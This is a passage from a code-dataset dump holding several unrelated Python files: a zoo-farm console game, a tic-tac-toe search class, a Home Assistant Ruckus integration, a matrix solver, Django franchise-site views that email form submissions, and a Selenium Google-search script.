assert line.find(eol) == - \\\n 1, \"No EOL allowed in lines parameter: \" + repr(line)\n found = False\n for l in res:\n if l == line:\n found = True\n break\n if not found:\n res.append(line)\n return eol.join(res)\n\n\ndef text_strip_margin(text, margin=\"|\"):\n \"\"\"Will strip all the characters before the left margin identified\n by the `margin` character in your text. For instance\n\n ```\n |Hello, world!\n ```\n\n will result in\n\n ```\n Hello, world!\n ```\n \"\"\"\n res = []\n eol = text_detect_eol(text)\n for line in text.split(eol):\n l = line.split(margin, 1)\n if len(l) == 2:\n _, line = l\n res.append(line)\n return eol.join(res)\n\n# def text_template(text, variables):\n# \"\"\"Substitutes '${PLACEHOLDER}'s within the text with the\n# corresponding values from variables.\"\"\"\n# template = string.Template(text)\n# return template.safe_substitute(variables)\n","sub_path":"JumpScale9Prefab/PrefabCoreTools.py","file_name":"PrefabCoreTools.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"398131064","text":"# 02.05.2020\n# zoo farm\n\nimport random\n\nclass Animal(object):\n \"\"\"Zoo farm\"\"\"\n total = 0\n mistake = \"Wrong input! Try again!\"\n farm = []\n\n def __init__(self, critter, hunger = 0, boredom = 0):\n self.critter = critter\n self.hunger = hunger\n self.boredom = boredom\n self.hunger = random.randrange(10)\n self.boredom = random.randrange(15)\n print(f\"A {self.critter} appeared on the farm.\")\n __class__.total += 1\n\n def __str__(self):\n return f\"\\n{self.critter}\\nHunger: {self.hunger}\\nBoredom: {self.boredom}\"\n\n def eat(self):\n food = input(f\"\\nHow much food to give this animal? {self.critter} /1-10: \")\n try:\n food = int(food)\n if 0 < food <= 10:\n print(\"Thanks!\")\n self.hunger -= food\n if self.hunger < 0 :\n self.hunger = 0\n else:\n print(__class__.mistake)\n self.eat()\n except ValueError:\n print(__class__.mistake)\n self.eat()\n\n def to_play(self):\n time = input(f\"\\nHow many minutes to play with the animal? {self.critter} /1-10: \")\n try:\n time = int(time)\n if 0 < time <= 10:\n print(\"Wiiii...\")\n self.boredom -= time\n if self.boredom < 0 :\n self.boredom = 0\n else:\n print(__class__.mistake)\n self.to_play()\n except ValueError:\n print(__class__.mistake)\n self.to_play()\n\n\n @staticmethod\n def print_mistake_animals():\n print(f\"Wrong input, you have to choose between 1 and {len(__class__.farm)}. Try again!\")\n\n @staticmethod\n def status():\n print(f\"There are {__class__.total} animals on the farm\")\n\n @staticmethod\n def add_animal(animal):\n __class__.farm.append(animal)\n\n @staticmethod\n def names():\n critters = []\n for animal in __class__.farm:\n name = animal.critter\n critters.append(name)\n return critters\n\n @staticmethod\n def feed():\n animal = None\n while animal != \"0\":\n print(\"\\nWhat animal to feed?\")\n __class__.display()\n try:\n animal = int(input(\"\\nYour choice: \"))\n if animal > len(__class__.farm):\n __class__.print_mistake_animals()\n elif animal == 0:\n return\n else:\n __class__.farm[animal - 1].eat()\n except ValueError:\n __class__.print_mistake_animals()\n __class__.pass_time()\n\n @staticmethod\n def display():\n critters = Animal.names()\n print(\"0 - exit\")\n for number, name in enumerate(critters, start=1):\n print(f\"{number} - {name}\")\n\n @staticmethod\n def play():\n animal = None\n while animal != 0:\n print(\"\\nWhich animal to play with?\")\n __class__.display()\n try:\n animal = int(input(\"\\nYour choice: \"))\n if animal > len(__class__.farm):\n __class__.print_mistake_animals()\n elif animal == 0:\n return\n else:\n __class__.farm[animal - 1].to_play()\n except ValueError:\n __class__.print_mistake_animals()\n __class__.pass_time()\n\n @staticmethod\n def check_condition():\n for animal in __class__.farm:\n print(animal)\n __class__.pass_time()\n\n @staticmethod\n def pass_time():\n for animal in __class__.farm:\n animal.hunger += 1\n animal.boredom += 1\n \ndef main():\n animal_1 = Animal(\"Cow\")\n animal_2 = Animal(\"Pig\")\n animal_3 = Animal(\"Rabbit\")\n Animal.add_animal(animal_1)\n Animal.add_animal(animal_2)\n Animal.add_animal(animal_3)\n Animal.add_animal(Animal(\"Horse\"))\n Animal.add_animal(Animal(\"Chicken\"))\n Animal.add_animal(Animal(\"Duck\"))\n Animal.add_animal(Animal(\"Turkey\"))\n Animal.add_animal(Animal(\"Goose\"))\n Animal.status()\n\n choice = None\n while choice != \"0\":\n print \\\n (\"\"\"\n My farm\n 0 - exit\n 1 - check condition for all animals\n 2 - feed\n 3 - play\n \"\"\")\n choice = input(\"\\nYour choice: \")\n print()\n \n if choice == \"0\":\n print(\"Bye!\")\n\n elif choice == \"1\":\n Animal.check_condition()\n\n elif choice == \"2\":\n Animal.feed()\n\n elif choice == \"3\":\n Animal.play()\n\n else:\n print(Animal.mistake)\n\nmain()","sub_path":"zoo_farm.py","file_name":"zoo_farm.py","file_ext":"py","file_size_in_byte":4731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"348264249","text":"debug = False\n\nclass TTT(object):\n\n def __init__(self):\n self.board = [' ']*9\n self.player = 'X' # Player that is currently up\n if False: # Used to start a game at a different state. Just change to true to use\n self.board = ['X', ' ', ' ', ' ', ' ', ' ', ' ', ' ', 'O']\n self.player = 'X'\n self.playerLookAHead = self.player # Next player to move\n self.movesExplored = 0 # Counter for number of moves explored\n self.winningValue = 1 # Winning move number when negamax searching\n\n # Returns the locations of X's, O's, or empty spots (c) for board\n def locations(self, c):\n return [i for i, mark in enumerate(self.board) if mark == c]\n\n # Returns empty spot locations of board\n def getMoves(self):\n moves = self.locations(' ')\n return moves\n\n def getUtility(self, utilityFunction = None):\n # Get locations of X's\n whereX = self.locations('X')\n # Get locations of O's\n whereO = self.locations('O')\n # Lists of locations that would constitute a win\n wins = [[0, 1, 2], [3, 4, 5], [6, 7, 8],\n [0, 3, 6], [1, 4, 7], [2, 5, 8],\n [0, 4, 8], [2, 4, 6]]\n # Boolean that checks if X has won\n isXWon = any([all([wi in whereX for wi in w]) for w in wins])\n # Boolean that checks if O has won\n isOWon = any([all([wi in whereO for wi in w]) for w in wins])\n if isXWon:\n # If X has won and is the next player to move, return 1\n # If X has won but is not the next player to move, return -1\n return 1 if self.playerLookAHead is 'X' else -1\n elif isOWon:\n # If O has won and is the next player to move, return 1\n # If O has won but is not the next player to move, return -1\n return 1 if self.playerLookAHead is 'O' else -1\n elif ' ' not in self.board:\n # If there is a draw (Cats game) return 0\n return 0\n else:\n # If the game is still being played, return None\n return None ########################################################## CHANGED FROM -0.1\n\n # Returns True if game is over, False otherwise\n def isOver(self):\n return self.getUtility() is not None\n\n # Puts the current player's mark at the index passed. DOESNT CHECK TO MAKE SURE THAT MOVE IS VALID...\n # Changes playerLookAhead because the next move is going to be made by the other player\n def makeMove(self, move):\n global debug\n self.board[move] = self.playerLookAHead\n if debug: print('MADE MOVE ', self.playerLookAHead, ' @ SPOT, ', move)\n self.playerLookAHead = 'X' if self.playerLookAHead == 'O' else 'O'\n if debug: print('CHANGED NEXT UP TO: ', self.playerLookAHead)\n self.movesExplored += 1\n\n # Changes player. Also changes playerLookAHead because the new player hasnt made move yet so they are next up\n def changePlayer(self):\n self.player = 'X' if self.player == 'O' else 'O'\n self.playerLookAHead = self.player\n global debug\n if debug: print('CHANGED PLAYER TO: ', self.player)\n\n # Removes mark from index passed and restores playerLookAHead b/c that move was taken back\n def unmakeMove(self, move):\n self.board[move] = ' '\n self.playerLookAHead = 'X' if self.playerLookAHead == 'O' else 'O'\n global debug\n if debug: print('UNMADE MOVE: ', move)\n\n # Returns the number of moves explored\n def getNumberMovesExplored(self):\n return self.movesExplored\n\n # Returns the number representing a win when negamax searching\n def getWinningValue(self):\n return self.winningValue\n\n def isEmpty(self):\n boo = True\n for i in self.board:\n if not i.isspace():\n boo = False\n return boo\n\n # To string\n def __str__(self):\n s = '{}|{}|{}\\n-----\\n{}|{}|{}\\n-----\\n{}|{}|{}'.format(*self.board)\n return s","sub_path":"Connect 4 A.I. - Final Project/TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":4010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"433572104","text":"\"\"\"The Ruckus Unleashed integration.\"\"\"\n\nfrom pyruckus import Ruckus\n\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.const import CONF_HOST, CONF_PASSWORD, CONF_USERNAME\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.exceptions import ConfigEntryNotReady\nfrom homeassistant.helpers import device_registry as dr\n\nfrom .const import (\n API_AP,\n API_DEVICE_NAME,\n API_ID,\n API_MAC,\n API_MODEL,\n API_SYSTEM_OVERVIEW,\n API_VERSION,\n COORDINATOR,\n DOMAIN,\n MANUFACTURER,\n PLATFORMS,\n UNDO_UPDATE_LISTENERS,\n)\nfrom .coordinator import RuckusUnleashedDataUpdateCoordinator\n\n\nasync def async_setup_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:\n \"\"\"Set up Ruckus Unleashed from a config entry.\"\"\"\n try:\n ruckus = await Ruckus.create(\n entry.data[CONF_HOST],\n entry.data[CONF_USERNAME],\n entry.data[CONF_PASSWORD],\n )\n except ConnectionError as error:\n raise ConfigEntryNotReady from error\n\n coordinator = RuckusUnleashedDataUpdateCoordinator(hass, ruckus=ruckus)\n\n await coordinator.async_config_entry_first_refresh()\n\n system_info = await ruckus.system_info()\n\n registry = dr.async_get(hass)\n ap_info = await ruckus.ap_info()\n for device in ap_info[API_AP][API_ID].values():\n registry.async_get_or_create(\n config_entry_id=entry.entry_id,\n connections={(dr.CONNECTION_NETWORK_MAC, device[API_MAC])},\n identifiers={(dr.CONNECTION_NETWORK_MAC, device[API_MAC])},\n manufacturer=MANUFACTURER,\n name=device[API_DEVICE_NAME],\n model=device[API_MODEL],\n sw_version=system_info[API_SYSTEM_OVERVIEW][API_VERSION],\n )\n\n hass.data.setdefault(DOMAIN, {})\n hass.data[DOMAIN][entry.entry_id] = {\n COORDINATOR: coordinator,\n UNDO_UPDATE_LISTENERS: [],\n }\n\n await hass.config_entries.async_forward_entry_setups(entry, PLATFORMS)\n\n return True\n\n\nasync def async_unload_entry(hass: HomeAssistant, entry: ConfigEntry) -> bool:\n \"\"\"Unload a config entry.\"\"\"\n unload_ok = await hass.config_entries.async_unload_platforms(entry, PLATFORMS)\n if unload_ok:\n for listener in hass.data[DOMAIN][entry.entry_id][UNDO_UPDATE_LISTENERS]:\n listener()\n\n hass.data[DOMAIN].pop(entry.entry_id)\n\n return unload_ok\n","sub_path":"homeassistant/components/ruckus_unleashed/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"143947432","text":"'''\nTakes in the stored value from the simulations\nand actually solves for the transmission matrix\n\nThis is done by solving the equation:\n\n\n[ p_1 ]\t [v_1 v_2 v_3 v_4 ][T11]\n[ p_1` ]\t= [v_1` v_2` v_3` v_4` ][T12]\n[ p_1`` ]\t [v_1`` v_2`` v_3`` v_4`` ][T13]\n[ p_1```]\t [v_1``` v_2``` v_3``` v_4```][T14]\n\nWhere:\n\n\t\t [T11 T12 T13 T14]\nT(freq) = [T21 T22 T23 T24]\n\t\t [T31 T32 T33 T34]\n\t\t [T41 T42 T43 T44]\n'''\n\nimport numpy as np\nimport get_transmission_matrix as gtm\n\n#define file constants\nfilepath = \"Paper/Paper Copy independent\"\nsimulationFile = \"paperCheck.txt\"\nlistenFile = \"collimator listennode.txt\"\ntempOutput = \"temp\"\n\n#define constants\nNUM_CYCLES = 2\t\nARR_ONE = [1, 0]#, 0, 0]\nARR_TWO = [0, 1]#, 1, 1]\n# ARR_THREE = [0, 1, 0, 1]\n# ARR_FOUR = [0, 0, 1, 1]\nVELOCITY_MATRIX = [ARR_ONE, ARR_TWO]#, ARR_THREE, ARR_FOUR]\n\n#helper used to strip the end of a list of '\\n'\ndef stripEnd(line):\n\tline = line.strip(\"\\n\")\n\treturn line\n\n#updates the global variables in the class when called \nclass updateClass(object):\n\tdef __init__(self, numCylces, velocityMatrix):\n\t\tglobal NUM_CYCLES\n\t\tNUM_CYCLES = numCylces\n\t\tglobal VELOCITY_MATRIX\n\t\tVELOCITY_MATRIX = velocityMatrix\n\n\n#class to calculate the transmission weights\nclass getTransmissionWeights(object):\n\tdef __init__(self, transmissionMatrix):\n\t\tself.tm = transmissionMatrix\n\t\tself.frequencies = self.tm[0].keys()\n\t\tself.solveMatrix()\n\n\t#solves through every frequency the given transmission matrix\n\t#as the transmission matrix is frequency dependent\n\tdef solveMatrix(self):\n\t\tself.weights = {}\n\t\tfor freq in self.frequencies:\n\t\t\ttempArr = []\n\t\t\t#goes through each row of the transmission matrix\n\t\t\t#index represents which pressure number \n\t\t\tfor index in range(NUM_CYCLES):\n\t\t\t\ttempArr.append(self.computeWeights(freq, index))\n\t\t\tself.weights[freq] = tempArr\n\n\n\t#function call to compute the weights\n\tdef computeWeights(self, freq, index):\n\t\tself.getPressure(freq, index)\n\t\treturn np.linalg.solve(VELOCITY_MATRIX, self.pressureVector)\n\n\t#iterates through self.tm to get the corresponding pressures\n\tdef getPressure(self, freq, index):\n\t\tself.pressureVector = []\n\t\tfor i in range(NUM_CYCLES):\n\t\t\ttempDict = self.tm[NUM_CYCLES*index + i][freq]\n\t\t\tself.pressureVector.append(tempDict[tempDict.keys()[0]])\n\n\tdef returnWeights(self):\n\t\treturn self.weights\n\n\t#averages the weights of the transmission matrix\n\t#used in infinite calculation to make things easier\n\tdef averageWeights(self):\n\t\tfor freq in self.weights:\n\t\t\tcurrMatrix = self.weights[freq]\n\t\t\tself.averageMatrix(currMatrix, freq)\n\n\t#averages the matrix for a given frequency\n\t#helpful in infinite calculations to make sure everything is uniform \n\tdef averageMatrix(self, currMatrix, freq):\n\t\ttempArr = [0] * NUM_CYCLES\n\t\tfor i in range(NUM_CYCLES):\n\t\t\tfor j in range(NUM_CYCLES):\n\t\t\t\ttempArr[j] += currMatrix[i][(j+i)%NUM_CYCLES]\n\t\ttempArr = [tempArr[i]/NUM_CYCLES for i in range(NUM_CYCLES)]\n\t\tnewArr = []\n\t\t#used to make sure the matrix is uniform from symmetry\n\t\tfor i in range(NUM_CYCLES):\n\t\t\tnewArr.append(tempArr[:])\n\t\tself.weights[freq] = newArr[:]\n\n\n\ndef main():\n\ttm = gtm.transmissionMatrix(filepath + \"/\" + simulationFile, filepath, listenFile, tempOutput, 1)\n\trtm = tm.returnTransmissionMatrix()\n\tgetTransmissionWeights(rtm)\n\n\nif __name__ == \"__main__\":\n\tmain()\n\n\n\n\n\n","sub_path":"Simulations/Code_aster Files/get transmission weights.py","file_name":"get transmission weights.py","file_ext":"py","file_size_in_byte":3316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"535006381","text":"from .models import Franchise, Category, Gallery, Prospectus, Outlet, Opportunity, Region\nfrom django.shortcuts import render, get_object_or_404\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.conf import settings\nfrom django.core.mail import send_mail, BadHeaderError\nfrom .forms import ContactForm, SubscribeForm, RegisterForm, RegisterSellerForm\n\n\n# Getting all the categories\ndef categories(request):\n categories = Category.objects.all()\n return render(request, 'categories.html', { 'categories': categories})\n\n\n# Getting the category franchises page\ndef category(request, category_id):\n categories = get_object_or_404(Category, pk=category_id)\n franchises = Franchise.objects.all()\n\n context = {\n \"categories\": categories,\n \"franchises\": franchises,\n }\n\n return render(request, 'category_franchises.html', context)\n\n\n\n# The index page for all the franchises\ndef index(request):\n franchises = Franchise.objects.filter(feature_franchise='Featured', status='Published').order_by('id')[:10]\n franchisess = Franchise.objects.filter(feature_franchise='Featured', status='Published').order_by('id').reverse()[:10]\n #posts = User.objects.raw('SELECT post_date, post_content, post_title FROM wp_posts')[:0]\n \n form = SubscribeForm(request.POST or None) \n\n context = {\n \"form\": form,\n \"franchises\": franchises,\n \"franchisess\": franchisess,\n #\"posts\": posts,\n } \n\n if form.is_valid():\n form_email = form.cleaned_data.get(\"email\")\n\n from_email = settings.EMAIL_HOST_USER\n to_email = [from_email, 'mike.malete@bizlink.link']\n contact_message = \"Email : {0},\" .format(form_email)\n\n send_mail(\"Newsletter Subscription\", contact_message, from_email, to_email, fail_silently=False)\n\n context = {\n \"message\": \"Thank you for signing up to our newsletter.\",\n \"form\": form,\n \"franchises\": franchises,\n \"franchisess\": franchisess,\n #\"posts\": posts,\n } \n\n return render(request, 'index.html', context)\n \n\n\n\n# Displaying all the featured franchises\ndef all_franchises(request):\n franchise_list = Franchise.objects.filter(status='Published')\n categories = Category.objects.all()\n\n form = ContactForm(request.POST or None) \n\n paginator = Paginator(franchise_list, 30) # Show 30 Franchises per page\n page = request.GET.get('page')\n try:\n franchises = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n franchises = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n franchises = paginator.page(paginator.num_pages)\n\n \n\n if form.is_valid():\n form_name = form.cleaned_data.get(\"name\")\n form_surname = form.cleaned_data.get(\"surname\")\n form_email = form.cleaned_data.get(\"email\")\n form_cell_number = form.cleaned_data.get(\"cell_number\")\n form_own_cash_contribution_available = form.cleaned_data.get(\"own_cash_contribution_available\")\n form_preferred_location = form.cleaned_data.get(\"preferred_location\")\n form_comments = form.cleaned_data.get(\"comments\")\n form_contact= form.cleaned_data.get(\"contact\")\n form_setup_cost = form.cleaned_data.get(\"setup_cost\")\n form_funding_program = form.cleaned_data.get(\"funding_program\")\n form_e_mag = form.cleaned_data.get(\"e_mag\")\n\n from_email = settings.EMAIL_HOST_USER\n to_email = [from_email, 'mike.malete@bizlink.link']\n contact_message = \"Name : {0},\\n\\n Surname : {1},\\n\\n Email : {2}, \\n\\n Cell Number: {3}, \\n\\n Own Cash Contribution Available : R {4}, \\n\\n Preferred Location : {5}, \\n\\n Comments : {6}, \\n\\n Preffered method of contact : {7}, \\n\\n May SA Franchise Warehouse direct you to franchisors with a similar business model and set-up cost? : {8}, \\n\\n SA Franchise Warehouse 20% own contribution Pre-Approval funding programme : {9}, \\n\\n Would you like to subscribe to our e-mag for free? : {10}\" .format(form_name, form_surname, form_email, form_cell_number,\n form_own_cash_contribution_available, form_preferred_location, form_comments, form_contact, form_setup_cost, form_funding_program, form_e_mag)\n\n send_mail(\"contact form\", contact_message, from_email, to_email, fail_silently=False)\n\n context = {\n \"message\": \"Thank you for your enquiry, we will get back to you soon.\",\n \"form\": form,\n \"franchises\": franchises,\n \"categories\": categories,\n } \n\n return render(request, 'all.html', context)\n\n\n\n\n\n# Displaying all the franchises\ndef franchises(request):\n franchise_list = Franchise.objects.filter(status='Published')\n\n paginator = Paginator(franchise_list, 30) # Show 30 Franchises per page\n page = request.GET.get('page')\n try:\n franchises = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n franchises = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n franchises = paginator.page(paginator.num_pages)\n\n return render(request, 'franchises.html', {'franchises': franchises}) \n\n\n\n\n# Display inside the franchise page\ndef detail(request, franchise_id):\n franchise = get_object_or_404(Franchise, pk=franchise_id)\n gallery_images = Gallery.objects.all()\n outlets = Outlet.objects.all()\n opportunities = Opportunity.objects.all()\n prospectus = Prospectus.objects.all()\n\n message = \"Please click the button below complete the form below and we'll get back to you as soon as possible.\"\n form = ContactForm(request.POST or None) \n\n context = {\n 'franchise': franchise,\n \"form\": form,\n \"message\": message,\n \"gallery_images\": gallery_images,\n \"outlets\": outlets,\n \"opportunities\": opportunities,\n \"prospectus\": prospectus,\n } \n\n if form.is_valid():\n form_name = form.cleaned_data.get(\"name\")\n form_surname = form.cleaned_data.get(\"surname\")\n form_email = form.cleaned_data.get(\"email\")\n form_cell_number = form.cleaned_data.get(\"cell_number\")\n form_own_cash_contribution_available = form.cleaned_data.get(\"own_cash_contribution_available\")\n form_preferred_location = form.cleaned_data.get(\"preferred_location\")\n form_comments = form.cleaned_data.get(\"comments\")\n form_contact= form.cleaned_data.get(\"contact\")\n form_setup_cost = form.cleaned_data.get(\"setup_cost\")\n form_funding_program = form.cleaned_data.get(\"funding_program\")\n form_e_mag = form.cleaned_data.get(\"e_mag\")\n\n from_email = settings.EMAIL_HOST_USER\n to_email = [from_email, 'mikemahlatse@gmail.com']\n contact_message = \"Name : {0},\\n\\n Surname : {1},\\n\\n Email : {2}, \\n\\n Cell Number: {3}, \\n\\n Own Cash Contribution Available : R {4}, \\n\\n Preferred Location : {5}, \\n\\n Comments : {6}, \\n\\n Preffered method of contact : {7}, \\n\\n May SA Franchise Warehouse direct you to franchisors with a similar business model and set-up cost? : {8}, \\n\\n Franchise Orientation Workshop : {9}, \\n\\n Business Management Workshop : {10}\" .format(form_name, form_surname, form_email, form_cell_number,\n form_own_cash_contribution_available, form_preferred_location, form_comments, form_contact, form_setup_cost, form_funding_program, form_e_mag)\n\n send_mail(\"contact form\", contact_message, from_email, to_email, fail_silently=False)\n context = {\n \"message\": \"Thank you for your enquiry, we will get back to you soon.\",\n \"form\": form,\n \"franchise\": franchise,\n \"gallery_images\": gallery_images,\n \"outlets\": outlets,\n \"opportunities\": opportunities,\n \"prospectus\": prospectus,\n }\n\n return render(request, 'franchise.html', context)\n\n\n\n\n# The search for all franchises\ndef search(request):\n franchise_list = Franchise.objects.all()\n\n form = ContactForm(request.POST or None) \n\n # Searching all franchises\n query = request.GET.get(\"q\")\n if query:\n franchise_list = franchise_list.filter(name__icontains=query) \n\n paginator = Paginator(franchise_list, 30) # Show 30 Franchises per page\n page = request.GET.get('page')\n try:\n franchises = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n franchises = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n franchises = paginator.page(paginator.num_pages)\n\n \n if form.is_valid():\n form_name = form.cleaned_data.get(\"name\")\n form_surname = form.cleaned_data.get(\"surname\")\n form_email = form.cleaned_data.get(\"email\")\n form_cell_number = form.cleaned_data.get(\"cell_number\")\n form_own_cash_contribution_available = form.cleaned_data.get(\"own_cash_contribution_available\")\n form_preferred_location = form.cleaned_data.get(\"preferred_location\")\n form_comments = form.cleaned_data.get(\"comments\")\n form_contact= form.cleaned_data.get(\"contact\")\n form_setup_cost = form.cleaned_data.get(\"setup_cost\")\n form_funding_program = form.cleaned_data.get(\"funding_program\")\n form_e_mag = form.cleaned_data.get(\"e_mag\")\n\n from_email = settings.EMAIL_HOST_USER\n to_email = [from_email, 'mike.malete@bizlink.link']\n contact_message = \"Name : {0},\\n\\n Surname : {1},\\n\\n Email : {2}, \\n\\n Cell Number: {3}, \\n\\n Own Cash Contribution Available : R {4}, \\n\\n Preferred Location : {5}, \\n\\n Comments : {6}, \\n\\n Preffered method of contact : {7}, \\n\\n May SA Franchise Warehouse direct you to franchisors with a similar business model and set-up cost? : {8}, \\n\\n SA Franchise Warehouse 20% own contribution Pre-Approval funding programme : {9}, \\n\\n Would you like to subscribe to our e-mag for free? : {10}\" .format(form_name, form_surname, form_email, form_cell_number,\n form_own_cash_contribution_available, form_preferred_location, form_comments, form_contact, form_setup_cost, form_funding_program, form_e_mag)\n\n send_mail(\"contact form\", contact_message, from_email, to_email, fail_silently=False) \n\n return render(request, 'search.html', {'franchises': franchises, 'form': form})\n\n\n\n\n\n# The about page\ndef about(request):\n return render(request, 'about.html') \n\n\n\n\n# The about page\ndef contact(request):\n return render(request, 'contact.html') \n\n\n\n\n# The team page\ndef team(request):\n return render(request, 'team.html') \n\n\n\n# The get funding page\ndef funding(request):\n return render(request, 'funding.html')\n\n\n\n# The training page\ndef training(request):\n return render(request, 'training.html')\n\n# The Register page\ndef register(request):\n form = RegisterForm(request.POST or None) \n\n context = {\n \"form\": form,\n }\n\n if form.is_valid():\n form_name = form.cleaned_data.get(\"name\")\n form_surname = form.cleaned_data.get(\"surname\")\n form_email = form.cleaned_data.get(\"email\")\n form_cell_number = form.cleaned_data.get(\"cell_number\")\n form_alternative_tel = form.cleaned_data.get(\"alternative_tel\")\n form_preferred_industry = form.cleaned_data.get(\"preferred_industry\")\n form_preferred_region = form.cleaned_data.get(\"preferred_region\")\n form_future_communication = form.cleaned_data.get(\"future_communication\")\n form_about_us = form.cleaned_data.get(\"about_us\")\n form_franchise_business_workshop = form.cleaned_data.get(\"franchise_business_workshop\")\n\n from_email = settings.EMAIL_HOST_USER\n to_email = [from_email, 'mikemahlatse@gmail.com']\n contact_message = \"Name : {0},\\n\\n Surname : {1},\\n\\n Email : {2}, \\n\\n Cell Number: {3}, \\n\\n Alternative Tel : {4}, \\n\\n Preferred Industry : {5}, \\n\\n Preferred Region : {6}, \\n\\n Would you like future communication via : {7}, \\n\\n How did you hear about us? : {8}, \\n\\n Franchise Business Workshop : {9}\" .format(form_name, form_surname, form_email, form_cell_number,\n form_alternative_tel, form_preferred_industry, form_preferred_region, form_future_communication,\n form_about_us, form_franchise_business_workshop)\n\n send_mail(\"Register form\", contact_message, from_email, to_email, fail_silently=False)\n\n context = {\n \"message\": \"Thank you for registering with us\",\n \"form\": form,\n } \n\n return render(request, 'register.html', context) \n\n\n# The registerseller page\ndef registerseller(request):\n form = RegisterSellerForm(request.POST or None) \n\n context = {\n \"form\": form,\n }\n\n if form.is_valid():\n form_brand = form.cleaned_data.get(\"brand\")\n form_franchise_name = form.cleaned_data.get(\"franchise_name\")\n form_location = form.cleaned_data.get(\"location\")\n form_summary = form.cleaned_data.get(\"summary\")\n form_trading_since = form.cleaned_data.get(\"trading_since\")\n form_asking_price = form.cleaned_data.get(\"asking_price\")\n form_annual_turnover = form.cleaned_data.get(\"annual_turnover\")\n form_monthly_profit = form.cleaned_data.get(\"monthly_profit\")\n form_available_from = form.cleaned_data.get(\"available_from\")\n form_owner_name = form.cleaned_data.get(\"owner_name\")\n form_owner_surname = form.cleaned_data.get(\"owner_surname\")\n form_owner_email = form.cleaned_data.get(\"owner_email\")\n form_owner_cellular = form.cleaned_data.get(\"owner_cellular\")\n\n from_email = settings.EMAIL_HOST_USER\n to_email = [from_email, 'mikemahlatse@gmail.com']\n contact_message = \"Brand : {0},\\n\\n Franchise Name : {1},\\n\\n Location : {2}, \\n\\n Summary: {3}, \\n\\n Trading Since : {4}, \\n\\n Asking Price : {5}, \\n\\n Annual turnover : {6}, \\n\\n Monthly profit : {7}, \\n\\n Available from : {8}, \\n\\n Owner name : {9}, \\n\\n Owner surname : {10}, \\n\\n Owner Email address : {11}, \\n\\n Owner Cellular : {12}\" .format(form_brand,\n form_franchise_name, form_location, form_summary,\n form_trading_since, form_asking_price, form_annual_turnover,\n form_monthly_profit,\n form_available_from, form_owner_name, form_owner_surname, form_owner_email, form_owner_cellular)\n\n send_mail(\"Register as a seller form\", contact_message, from_email, to_email, fail_silently=False)\n\n context = {\n \"message\": \"Thank you for registering with us, FRANCHISE WAREHOUSE consultant will contact you regarding listing options\",\n \"form\": form,\n }\n\n return render(request, 'registerseller.html', context)\n\n\n# Display inside the franchise page\ndef region(request, region_id):\n regions = get_object_or_404(Region, pk=region_id)\n franchises = Franchise.objects.all()\n\n context = {\n \"franchises\": franchises,\n \"regions\": regions,\n }\n\n return render(request, 'region.html', context)\n\n\n# Display inside the franchise page\ndef regionExist(request, region_id):\n regions = get_object_or_404(Region, pk=region_id)\n franchises = Franchise.objects.all()\n\n context = {\n \"franchises\": franchises,\n \"regions\": regions,\n }\n\n return render(request, 'exist-region.html', context) \n\n\n# The training page\ndef SearchForSaleNew(request):\n categories = Category.objects.all()\n regions = Region.objects.all()\n\n context = {\n \"categories\": categories,\n \"regions\": regions,\n }\n\n return render(request, 'SearchForSaleNew.html', context)\n\n\n\n# The training page\ndef SearchForSaleExisting(request):\n categories = Category.objects.all()\n regions = Region.objects.all()\n\n context = {\n \"categories\": categories,\n \"regions\": regions,\n }\n\n return render(request, 'SearchForSaleExisting.html', context) ","sub_path":"franchise/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"643964837","text":"from selenium import webdriver\nimport time\nfrom selenium.webdriver.common.by import By\nimport os\nfrom selenium.webdriver.common.keys import Keys\n\n#below is the one for getting the current directory\nparentdir=os.path.dirname(os.path.abspath(__file__))\n\nprint(os.path.dirname(parentdir)+\"\\LinuxDrivers\\chromedriver.exe\")\n#invoking the chrome instance\ndriverchrome=webdriver.Chrome(executable_path=\"\\PythonAutomationNew\\LinuxDrivers\\chromedriver\")\n\nprint(\"Chrome invoked successfully\")\n\n#opening the url\ndriverchrome.get(\"https://www.google.com\")\n\n#verify the title\nassert \"Google\" in driverchrome.title\n\nprint(\"Done hitting the url\")\ndriverchrome.save_screenshot('sample.png')\nsearchElement=driverchrome.find_element_by_class_name('gsfi')\nsearchElement.send_keys(\"This is Srikanth\")\nsearchElement.submit()\n\ntime.sleep(10)\n\nprint(\"process is done\")\n\ndriverchrome.close()\n","sub_path":"sampleAutomationCode/GoogleSearch.py","file_name":"GoogleSearch.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"208358967","text":"from django.db import models\n\nfrom datetime import datetime\nfrom django.utils.timezone import now\n\nfrom PIL import Image\nfrom io import BytesIO\nfrom django.core.files.uploadedfile import InMemoryUploadedFile\nimport sys\n\n# Create your models here.\ndef uploadFolder(instance, filename):\n imgpath= '/'.join(['images', str(instance.source), filename])\n return imgpath\n\ndef resize(image_pil, width, height):\n '''\n Resize PIL image keeping ratio and using white background.\n '''\n ratio_w = width / image_pil.width\n 